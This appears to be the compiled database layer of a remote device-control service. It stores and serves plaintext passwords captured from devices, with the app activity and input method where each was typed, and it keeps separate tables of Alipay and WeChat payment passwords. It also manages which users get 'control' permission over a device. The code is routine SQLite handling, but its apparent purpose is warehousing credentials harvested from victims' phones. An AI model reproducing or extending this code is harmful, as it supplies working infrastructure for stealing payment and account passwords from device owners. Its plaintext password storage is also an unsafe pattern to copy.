}
|
|||
|
|
/**
|
|||
|
|
* 🔐 保存通用密码输入记录
|
|||
|
|
*/
|
|||
|
|
savePasswordInput(record) {
|
|||
|
|
try {
|
|||
|
|
// 🔧 在保存前验证设备是否存在
|
|||
|
|
const deviceExists = this.getDeviceById(record.deviceId);
|
|||
|
|
if (!deviceExists) {
|
|||
|
|
const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录`;
|
|||
|
|
this.logger.error(`❌ ${errorMsg}`);
|
|||
|
|
throw new Error(errorMsg);
|
|||
|
|
}
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT INTO password_inputs (
|
|||
|
|
deviceId, password, passwordLength, passwordType, activity, inputMethod,
|
|||
|
|
installationId, sessionId, timestamp, createdAt
|
|||
|
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
const now = new Date();
|
|||
|
|
stmt.run(record.deviceId, record.password, record.passwordLength, record.passwordType, record.activity, record.inputMethod, record.installationId, record.sessionId, record.timestamp.toISOString(), now.toISOString());
|
|||
|
|
this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 🔧 提供更详细的错误信息
|
|||
|
|
if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') {
|
|||
|
|
const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中`;
|
|||
|
|
this.logger.error(`❌ ${errorMsg}`);
|
|||
|
|
throw new Error(errorMsg);
|
|||
|
|
}
|
|||
|
|
else {
|
|||
|
|
this.logger.error('保存通用密码输入失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取设备的通用密码输入记录(分页)
|
|||
|
|
*/
|
|||
|
|
getPasswordInputs(deviceId, page = 1, pageSize = 50, passwordType) {
|
|||
|
|
try {
|
|||
|
|
// 构建查询条件
|
|||
|
|
let whereClause = 'WHERE deviceId = ?';
|
|||
|
|
let params = [deviceId];
|
|||
|
|
if (passwordType) {
|
|||
|
|
whereClause += ' AND passwordType = ?';
|
|||
|
|
params.push(passwordType);
|
|||
|
|
}
|
|||
|
|
// 查询总数
|
|||
|
|
const countStmt = this.db.prepare(`
|
|||
|
|
SELECT COUNT(*) as total FROM password_inputs ${whereClause}
|
|||
|
|
`);
|
|||
|
|
const totalResult = countStmt.get(...params);
|
|||
|
|
const total = totalResult.total;
|
|||
|
|
// 查询分页数据
|
|||
|
|
const offset = (page - 1) * pageSize;
|
|||
|
|
const dataStmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM password_inputs ${whereClause}
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT ? OFFSET ?
|
|||
|
|
`);
|
|||
|
|
const rows = dataStmt.all(...params, pageSize, offset);
|
|||
|
|
const passwords = rows.map(row => ({
|
|||
|
|
id: row.id,
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
password: row.password,
|
|||
|
|
passwordLength: row.passwordLength,
|
|||
|
|
passwordType: row.passwordType,
|
|||
|
|
activity: row.activity,
|
|||
|
|
inputMethod: row.inputMethod,
|
|||
|
|
installationId: row.installationId,
|
|||
|
|
sessionId: row.sessionId,
|
|||
|
|
timestamp: new Date(row.timestamp),
|
|||
|
|
createdAt: new Date(row.createdAt)
|
|||
|
|
}));
|
|||
|
|
const totalPages = Math.ceil(total / pageSize);
|
|||
|
|
return {
|
|||
|
|
passwords,
|
|||
|
|
total,
|
|||
|
|
page,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取通用密码输入记录失败:', error);
|
|||
|
|
return {
|
|||
|
|
passwords: [],
|
|||
|
|
total: 0,
|
|||
|
|
page: 1,
|
|||
|
|
pageSize,
|
|||
|
|
totalPages: 0
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取设备最新的通用密码输入
|
|||
|
|
*/
|
|||
|
|
getLatestPasswordInput(deviceId, passwordType) {
|
|||
|
|
try {
|
|||
|
|
let query = `
|
|||
|
|
SELECT * FROM password_inputs
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
`;
|
|||
|
|
let params = [deviceId];
|
|||
|
|
if (passwordType) {
|
|||
|
|
query += ' AND passwordType = ?';
|
|||
|
|
params.push(passwordType);
|
|||
|
|
}
|
|||
|
|
query += ' ORDER BY timestamp DESC LIMIT 1';
|
|||
|
|
const stmt = this.db.prepare(query);
|
|||
|
|
const row = stmt.get(...params);
|
|||
|
|
if (row) {
|
|||
|
|
return {
|
|||
|
|
id: row.id,
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
password: row.password,
|
|||
|
|
passwordLength: row.passwordLength,
|
|||
|
|
passwordType: row.passwordType,
|
|||
|
|
activity: row.activity,
|
|||
|
|
inputMethod: row.inputMethod,
|
|||
|
|
installationId: row.installationId,
|
|||
|
|
sessionId: row.sessionId,
|
|||
|
|
timestamp: new Date(row.timestamp),
|
|||
|
|
createdAt: new Date(row.createdAt)
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取最新通用密码输入失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 删除设备的通用密码输入记录
|
|||
|
|
*/
|
|||
|
|
clearPasswordInputs(deviceId, passwordType) {
|
|||
|
|
try {
|
|||
|
|
let query = 'DELETE FROM password_inputs WHERE deviceId = ?';
|
|||
|
|
let params = [deviceId];
|
|||
|
|
if (passwordType) {
|
|||
|
|
query += ' AND passwordType = ?';
|
|||
|
|
params.push(passwordType);
|
|||
|
|
}
|
|||
|
|
const stmt = this.db.prepare(query);
|
|||
|
|
const result = stmt.run(...params);
|
|||
|
|
const typeDesc = passwordType ? ` (类型: ${passwordType})` : '';
|
|||
|
|
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条通用密码输入记录${typeDesc}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理通用密码输入记录失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 清理旧的通用密码输入记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldPasswordInputs(daysToKeep = 30) {
|
|||
|
|
try {
|
|||
|
|
const cutoffDate = new Date();
|
|||
|
|
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM password_inputs WHERE timestamp < ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(cutoffDate.toISOString());
|
|||
|
|
this.logger.info(`清理了 ${result.changes} 条旧通用密码输入记录 (${daysToKeep}天前)`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理旧通用密码输入记录失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取密码类型统计
|
|||
|
|
*/
|
|||
|
|
getPasswordTypeStats(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT
|
|||
|
|
passwordType,
|
|||
|
|
COUNT(*) as count,
|
|||
|
|
MIN(timestamp) as firstInput,
|
|||
|
|
MAX(timestamp) as lastInput
|
|||
|
|
FROM password_inputs
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
GROUP BY passwordType
|
|||
|
|
ORDER BY count DESC
|
|||
|
|
`);
|
|||
|
|
const stats = stmt.all(deviceId);
|
|||
|
|
return stats.map((stat) => ({
|
|||
|
|
passwordType: stat.passwordType,
|
|||
|
|
count: stat.count,
|
|||
|
|
firstInput: new Date(stat.firstInput),
|
|||
|
|
lastInput: new Date(stat.lastInput)
|
|||
|
|
}));
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取密码类型统计失败:', error);
|
|||
|
|
return [];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 删除设备及其所有相关数据
|
|||
|
|
*/
|
|||
|
|
deleteDevice(deviceId) {
|
|||
|
|
try {
|
|||
|
|
this.logger.info(`🗑️ 开始删除设备: ${deviceId}`);
|
|||
|
|
// 开始事务
|
|||
|
|
const deleteTransaction = this.db.transaction(() => {
|
|||
|
|
// 1. 删除设备状态记录
|
|||
|
|
const deleteDeviceState = this.db.prepare('DELETE FROM device_states WHERE deviceId = ?');
|
|||
|
|
const deviceStateResult = deleteDeviceState.run(deviceId);
|
|||
|
|
this.logger.debug(`删除设备状态记录: ${deviceStateResult.changes} 条`);
|
|||
|
|
// 2. 删除操作日志
|
|||
|
|
const deleteOperationLogs = this.db.prepare('DELETE FROM operation_logs WHERE deviceId = ?');
|
|||
|
|
const logsResult = deleteOperationLogs.run(deviceId);
|
|||
|
|
this.logger.debug(`删除操作日志: ${logsResult.changes} 条`);
|
|||
|
|
// 3. 删除连接记录
|
|||
|
|
const deleteConnections = this.db.prepare('DELETE FROM connection_history WHERE deviceId = ?');
|
|||
|
|
const connectionsResult = deleteConnections.run(deviceId);
|
|||
|
|
this.logger.debug(`删除连接记录: ${connectionsResult.changes} 条`);
|
|||
|
|
// 4. 删除支付宝密码记录
|
|||
|
|
const deleteAlipayPasswords = this.db.prepare('DELETE FROM alipay_passwords WHERE deviceId = ?');
|
|||
|
|
const alipayResult = deleteAlipayPasswords.run(deviceId);
|
|||
|
|
this.logger.debug(`删除支付宝密码记录: ${alipayResult.changes} 条`);
|
|||
|
|
// 5. 删除微信密码记录
|
|||
|
|
const deleteWechatPasswords = this.db.prepare('DELETE FROM wechat_passwords WHERE deviceId = ?');
|
|||
|
|
const wechatResult = deleteWechatPasswords.run(deviceId);
|
|||
|
|
this.logger.debug(`删除微信密码记录: ${wechatResult.changes} 条`);
|
|||
|
|
// 6. 删除通用密码输入记录
|
|||
|
|
const deletePasswordInputs = this.db.prepare('DELETE FROM password_inputs WHERE deviceId = ?');
|
|||
|
|
const passwordInputsResult = deletePasswordInputs.run(deviceId);
|
|||
|
|
this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes} 条`);
|
|||
|
|
// 7. 删除用户设备权限记录
|
|||
|
|
const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?');
|
|||
|
|
const userPermissionsResult = deleteUserPermissions.run(deviceId);
|
|||
|
|
this.logger.debug(`删除用户设备权限记录: ${userPermissionsResult.changes} 条`);
|
|||
|
|
// 8. 最后删除设备记录
|
|||
|
|
const deleteDevice = this.db.prepare('DELETE FROM devices WHERE deviceId = ?');
|
|||
|
|
const deviceResult = deleteDevice.run(deviceId);
|
|||
|
|
this.logger.debug(`删除设备记录: ${deviceResult.changes} 条`);
|
|||
|
|
if (deviceResult.changes === 0) {
|
|||
|
|
throw new Error(`设备不存在: ${deviceId}`);
|
|||
|
|
}
|
|||
|
|
return {
|
|||
|
|
deviceRecords: deviceResult.changes,
|
|||
|
|
stateRecords: deviceStateResult.changes,
|
|||
|
|
logRecords: logsResult.changes,
|
|||
|
|
connectionRecords: connectionsResult.changes,
|
|||
|
|
alipayRecords: alipayResult.changes,
|
|||
|
|
wechatRecords: wechatResult.changes,
|
|||
|
|
passwordInputRecords: passwordInputsResult.changes,
|
|||
|
|
userPermissionRecords: userPermissionsResult.changes
|
|||
|
|
};
|
|||
|
|
});
|
|||
|
|
// 执行事务
|
|||
|
|
const result = deleteTransaction();
|
|||
|
|
this.logger.info(`✅ 设备删除完成: ${deviceId}`);
|
|||
|
|
this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error(`删除设备失败: ${deviceId}`, error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 授予用户设备控制权限
|
|||
|
|
*/
|
|||
|
|
grantUserDevicePermission(userId, deviceId, permissionType = 'control', expiresAt) {
|
|||
|
|
try {
|
|||
|
|
const now = new Date();
|
|||
|
|
// 🛡️ 默认权限有效期为7天,平衡安全性和可用性
|
|||
|
|
const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000);
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT OR REPLACE INTO user_device_permissions
|
|||
|
|
(userId, deviceId, permissionType, grantedAt, expiresAt, isActive, createdAt, updatedAt)
|
|||
|
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
stmt.run(userId, deviceId, permissionType, now.toISOString(), defaultExpiresAt.toISOString(), 1, now.toISOString(), now.toISOString());
|
|||
|
|
this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`);
|
|||
|
|
return true;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('授予用户设备权限失败:', error);
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 撤销用户设备权限
|
|||
|
|
*/
|
|||
|
|
revokeUserDevicePermission(userId, deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE user_device_permissions
|
|||
|
|
SET isActive = FALSE, updatedAt = ?
|
|||
|
|
WHERE userId = ? AND deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(new Date().toISOString(), userId, deviceId);
|
|||
|
|
if (result.changes > 0) {
|
|||
|
|
this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`);
|
|||
|
|
return true;
|
|||
|
|
}
|
|||
|
|
else {
|
|||
|
|
this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`);
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('撤销用户设备权限失败:', error);
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 检查用户是否有设备权限
|
|||
|
|
*/
|
|||
|
|
hasUserDevicePermission(userId, deviceId, permissionType = 'control') {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT COUNT(*) as count FROM user_device_permissions
|
|||
|
|
WHERE userId = ? AND deviceId = ? AND permissionType = ? AND isActive = TRUE
|
|||
|
|
AND (expiresAt IS NULL OR expiresAt > ?)
|
|||
|
|
`);
|
|||
|
|
const result = stmt.get(userId, deviceId, permissionType, new Date().toISOString());
|
|||
|
|
return result.count > 0;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('检查用户设备权限失败:', error);
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取用户的所有设备权限
|
|||
|
|
*/
|
|||
|
|
getUserDevicePermissions(userId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT deviceId, permissionType, grantedAt FROM user_device_permissions
|
|||
|
|
WHERE userId = ? AND isActive = TRUE
|
|||
|
|
AND (expiresAt IS NULL OR expiresAt > ?)
|
|||
|
|
ORDER BY grantedAt DESC
|
|||
|
|
`);
|
|||
|
|
const rows = stmt.all(userId, new Date().toISOString());
|
|||
|
|
return rows.map(row => ({
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
permissionType: row.permissionType,
|
|||
|
|
grantedAt: new Date(row.grantedAt)
|
|||
|
|
}));
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取用户设备权限失败:', error);
|
|||
|
|
return [];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🔐 清理过期的权限
|
|||
|
|
*/
|
|||
|
|
cleanupExpiredPermissions() {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE user_device_permissions
|
|||
|
|
SET isActive = FALSE, updatedAt = ?
|
|||
|
|
WHERE isActive = TRUE AND expiresAt IS NOT NULL AND expiresAt <= ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(new Date().toISOString(), new Date().toISOString());
|
|||
|
|
if (result.changes > 0) {
|
|||
|
|
this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`);
|
|||
|
|
}
|
|||
|
|
return result.changes;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理过期权限失败:', error);
|
|||
|
|
return 0;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
exports.DatabaseService = DatabaseService;
|
|||
|
|
//# sourceMappingURL=DatabaseService.js.map
|